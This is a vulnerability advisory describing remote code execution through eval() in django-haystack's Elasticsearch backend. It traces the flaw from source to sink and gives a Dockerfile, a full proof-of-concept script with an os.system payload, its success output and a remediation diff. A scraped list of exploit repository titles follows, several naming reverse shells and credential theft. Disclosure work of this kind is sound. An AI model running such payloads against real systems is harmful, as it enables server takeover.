## Remote Code Execution via `eval()` in Elasticsearch Result Deserialization ### Summary The Elasticsearch backend in django-haystack calls `eval()` on raw field values returned from Elasticsearch when a `SearchField` is declared with an `index_fieldname` alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to `_to_python()` → `eval()`. An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: **8.5 (High)**. ### Details **Sink — `haystack/backends/elasticsearch_backend.py:865`:** ```python converted_value = eval(value) ``` `_to_python()` (line ~850) attempts to parse a string value by calling `eval()` before performing any type-safety check. If the value is an attacker-controlled Python expression such as `__import__('os').system(...)`, the expression is executed unconditionally. **Root cause — `haystack/backends/elasticsearch_backend.py:727–737`:** ```python for key, value in source.items(): string_key = str(key) if string_key in index.fields and hasattr(index.fields[string_key], "convert"): additional_fields[string_key] = index.fields[string_key].convert(value) else: additional_fields[string_key] = self._to_python(value) ``` `index.fields` is keyed by the *logical* field name (e.g. `"name"`), but Elasticsearch stores the document under the `index_fieldname` alias (e.g. `"name_s"`). Because `"name_s" not in index.fields`, the branch falls through to `self._to_python(value)`. **Data flow (source → sink):** 1. `haystack/indexes.py:226` — `self.prepared_data[field.index_fieldname] = field.prepare(obj)` stores data under the alias. 2. `haystack/backends/elasticsearch_backend.py:218` — prepared data copied into `final_data`. 3. `haystack/backends/elasticsearch_backend.py:236` — `bulk(...)` writes the document to Elasticsearch under the alias key. 4. `haystack/backends/elasticsearch_backend.py:574` — search reads attacker-influenced `_source` back from Elasticsearch. 5. `haystack/backends/elasticsearch_backend.py:720` — `_process_results()` takes `raw_result["_source"]`. 6. `haystack/backends/elasticsearch_backend.py:730` — lookup `string_key in index.fields` fails for alias keys. 7. `haystack/backends/elasticsearch_backend.py:737` — unmatched value passed to `_to_python(value)`. 8. `haystack/backends/elasticsearch_backend.py:865` — **sink**: `converted_value = eval(value)`. **Missing fix:** The Solr backend correctly remaps aliases at `haystack/backends/solr_backend.py:535–539` using `index.field_map` before performing the `index.fields` lookup. The Elasticsearch backend has no equivalent remapping. **Preconditions:** - The application uses the Elasticsearch backend. - At least one `SearchField` in a `SearchIndex` is declared with `index_fieldname` set to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index). - The attacker can trigger or wait for a search that returns the malicious document. ### PoC **Environment setup (Docker):** ```bash # Build the proof-of-concept image docker build -t vuln001-poc \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/pypiAi_436_django-haystack__django-haystack/ # Run the PoC — exits 0 on confirmed RCE docker run --rm vuln001-poc ``` **Dockerfile** (`vuln-001/Dockerfile`): ```dockerfile FROM python:3.11-slim WORKDIR /app RUN pip install --no-cache-dir setuptools setuptools_scm wheel COPY repo/ /app/repo/ RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` **PoC script** (`vuln-001/poc.py`) — key sections: ```python # SearchField with index_fieldname alias class MockField: index_fieldname = "name_s" # ES key def convert(self, value): return str(value) class MockIndex: fields = {"name": MockField()} # logical key — "name_s" NOT present field_map = {"name_s": "name"} # Malicious payload placed in the alias key of a crafted ES _source response MARKER_FILE = "/tmp/django_haystack_eval_rce_proof" payload = ( f"__import__('os').system(" f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')" ) raw_results = {"hits": {"total": 1, "hits": [{ "_score": 1.0, "_source": { "django_ct": "app.model", "django_id": "1", "name_s": payload, # alias key → lookup fails → eval() }, }]}} backend._process_results(raw_results) # Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE" ``` **Observed output (Phase 2 dynamic reproduction):** ``` ============================================================ VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend ============================================================ [*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof') [*] Marker : /tmp/django_haystack_eval_rce_proof [*] Sink : elasticsearch_backend.py:865 eval(value) [+] SUCCESS: RCE CONFIRMED [+] Marker file created: /tmp/django_haystack_eval_rce_proof [+] File content: PWNED_BY_EVAL_RCE RESULT: PASS - VULN-001 is dynamically reproduced and exploitable ``` **Recommended remediation:** ```diff --- a/haystack/backends/elasticsearch_backend.py +++ b/haystack/backends/elasticsearch_backend.py -import re +import ast +import re index = source and unified_index.get_index(model) + index_field_map = index.field_map for key, value in source.items(): string_key = str(key) + if string_key in index_field_map: + string_key = index_field_map[string_key] if string_key in index.fields and hasattr( index.fields[string_key], "convert" - converted_value = eval(value) + converted_value = ast.literal_eval(value) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with `index_fieldname` aliasing, regardless of how authentication is configured by the application. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Install build tools needed for setuptools_scm RUN pip install --no-cache-dir setuptools setuptools_scm wheel # Copy the django-haystack repository source COPY repo/ /app/repo/ # Install Django and the elasticsearch client RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" # Install django-haystack from the local repo (editable install) # setuptools_scm requires git metadata; use fallback version instead RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ # Copy the PoC script COPY vuln-001/poc.py /app/poc.py # Run the PoC by default CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python """ PoC for VULN-001: Arbitrary Code Execution via eval() in ElasticsearchSearchBackend._process_results (django-haystack) Vulnerability: haystack/backends/elasticsearch_backend.py:865 calls eval(value) on Elasticsearch _source field values that do not match any entry in index.fields. This mismatch occurs when a SearchField uses index_fieldname (alias) different from its logical field name: ES stores data under the alias, but the backend looks up fields by logical name, causing unmatched values to fall through to _to_python() -> eval(). Attack path: 1. Attacker controls content that is indexed into Elasticsearch. 2. The Django app has a SearchIndex field with index_fieldname alias. 3. ES stores the document under the alias key. 4. On search, _process_results reads _source where the alias key is NOT found in index.fields (which uses logical names). 5. The value routes to _to_python(value) -> eval(value) -> RCE. This PoC bypasses the need for a live Elasticsearch instance by directly calling _process_results() with a crafted raw result dict. """ import os import sys # --------------------------------------------------------------------------- # 1. Configure Django (no database required) # --------------------------------------------------------------------------- from django.conf import settings if not settings.configured: settings.configure( SECRET_KEY="poc-only-not-for-production", INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "haystack", ], HAYSTACK_CONNECTIONS={ "default": { "ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine", "URL": "http://127.0.0.1:9200/", "INDEX_NAME": "poc_index", } }, DATABASES={}, ) import haystack import haystack.backends.elasticsearch_backend as esb # --------------------------------------------------------------------------- # 2. Mock objects to simulate the Haystack/ES environment # --------------------------------------------------------------------------- class MockField: """ Simulates a SearchField declared with an index_fieldname alias. Logical field name: "name" ES storage key (index_fieldname): "name_s" """ index_fieldname = "name_s" def convert(self, value): return str(value) class MockIndex: """ Simulates a SearchIndex. fields: keyed by LOGICAL name ("name") field_map: alias -> logical name (Solr uses this; ES backend does NOT) """ fields = { "name": MockField(), } field_map = {"name_s": "name"} class MockUnifiedIndex: document_field = "text" def get_indexed_models(self): return [object] def get_index(self, model): return MockIndex() class MockConnection: def get_unified_index(self): return MockUnifiedIndex() # Patch the global haystack connections registry so _process_results can # look up the unified index without a real Elasticsearch connection. haystack.connections = {"default": MockConnection()} # Patch the model-lookup helper used inside _process_results. # Returns `object` so the model is found and the result is processed. esb.haystack_get_model = lambda app_label, model_name: object # --------------------------------------------------------------------------- # 3. Build the malicious payload # --------------------------------------------------------------------------- MARKER_FILE = "/tmp/django_haystack_eval_rce_proof" # os.system() returns the exit code (int). The isinstance(int) check in # _to_python() passes, so eval() completes without raising, confirming # full expression execution. The shell command writes the proof file. payload = ( f"__import__('os').system(" f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')" ) # Crafted Elasticsearch raw response: # "name_s" is the index_fieldname alias stored in ES. # "name" is the logical field name present in index.fields. # Because "name_s" != "name", the lookup fails and value goes to eval(). raw_results = { "hits": { "total": 1, "hits": [ { "_score": 1.0, "_source": { "django_ct": "app.model", # required sentinel field "django_id": "1", # required sentinel field "name_s": payload, # alias key -> eval() path }, } ], } } # --------------------------------------------------------------------------- # 4. Instantiate the backend without __init__ (no live ES connection needed) # --------------------------------------------------------------------------- backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend) backend.connection_alias = "default" backend.include_spelling = False # --------------------------------------------------------------------------- # 5. Trigger the vulnerability # --------------------------------------------------------------------------- print("=" * 60) print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend") print("=" * 60) print(f"[*] Payload : {payload}") print(f"[*] Marker : {MARKER_FILE}") print(f"[*] Sink : elasticsearch_backend.py:865 eval(value)") print() # Remove any leftover marker from a previous run if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) try: backend._process_results(raw_results) except Exception as exc: # An exception here does not mean eval() was not called; # the side effect (file write) is the ground truth. print(f"[!] _process_results raised (checking side effects anyway): {exc}") # --------------------------------------------------------------------------- # 6. Verify the side effect # --------------------------------------------------------------------------- print() if os.path.exists(MARKER_FILE): content = open(MARKER_FILE).read().strip() print("[+] SUCCESS: RCE CONFIRMED") print(f"[+] Marker file created: {MARKER_FILE}") print(f"[+] File content: {content}") print() print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable") sys.exit(0) else: print("[-] FAILURE: Marker file was not created") print("[-] eval() was not triggered or the payload did not execute") print() print("RESULT: FAIL - RCE could not be confirmed") sys.exit(1) ```
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: cve-2024-55591-poc
Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.
PoC: cve-2026-82329-jfrog-artifactory
CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis
PoC: CVE-2026-82592
D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-79483-FastGPT-NoSQL-Injection
FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)
PoC: givewp-cve-2026-82222-rce-lab
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
PoC: CVE-2026-19745
Learn how I found my first two CVEs by pure accident.
PoC: cve-2026-23989-opencloud-lab
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: dast
CVE-2026-0828
PoC: SmarterMail-CVE-2026-24423-
Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.
PoC: gha-lab-d9fd584b12
Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)
PoC: LAB1-metasploitable
Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)
PoC: CVE-2022-25765
CVE-2022-25765 | pdfkit v0.8.6 Python PoC
PoC: CVE-2026-7899
CVE-2026-7899 - Draft or TODO
PoC: gha-lab-6ab39df295
Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run
PoC: CVE-2026-9586
CVE-2026-9586 - Draft or TODO
PoC: gha-lab-40e23db109
Security-research lab: controlled reproduction of CVE-2024-4254 (GHSA-fc78-c36r-cc59) — deploy-website.yml fork checkout/code execution in gradio-app/gradio @ d4c503a
PoC: root-s24-e1s
Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app
PoC: CVE-2024-49138-SOC-Investigation
SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.
PoC: gha-lab-ee08e207a8
Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml
PoC: CVE-2026-24061-Telnetd
CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass
PoC: Fortigate-SSL-VPN-Exploit-Kit
The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.
PoC: CVE-2026-33017
CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.
PoC: CVE-2026-13753-poc
Poc of CVE-2026-13753
PoC: CVE-2026-82221
PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin
PoC: ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
PoC: gha-lab-0ba60e6456
Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)
PoC: CVE-2026-36130
CVE-2026-36130
PoC: CVE-2026-31321
CVE-2026-31321
PoC: postgresql-cve-2026-14662
PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料
PoC: CVE-2026-27472-and-CVE-2026-27474
PoC for CVE-2026-27472 and CVE-2026-27474
PoC: CVE-2026-27475
PoC for CVE-2026-27475
PoC: CVE-2026-18963
Unauthenticated account takeover via reset-credentials flow bypass
PoC: CVE-2026-0768
CVE-2026-0768 - Draft or TODO
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App(Shizuku 授权 shell 域执行,CVE-2026-43499)
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
PoC: CVE-2026-12513
CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).
PoC: ghostlock-oppo-watch3pro
CVE-2026-43499 on OPPO Watch 3 Pro
PoC: cve-2026-82222-poc
Public PoC for CVE-2026-82222
PoC: zk-xml-probe
Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).
PoC: SOC335-CVE-2024-49138-Investigation
SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.
PoC: papercut-toolkit
#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained
PoC: PaperCut-CVE-2026-81578-82078
Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078
PoC: vankyo-s30-bootloader-unlock
Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: hdwebmobile-formula-pricing
WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE
PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: rmgp-complete-handoff
Complete RMGP (CVE-2026-43499) workspace + experiment-state handoff for SM-A376B/A376BXXU1AZB7
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free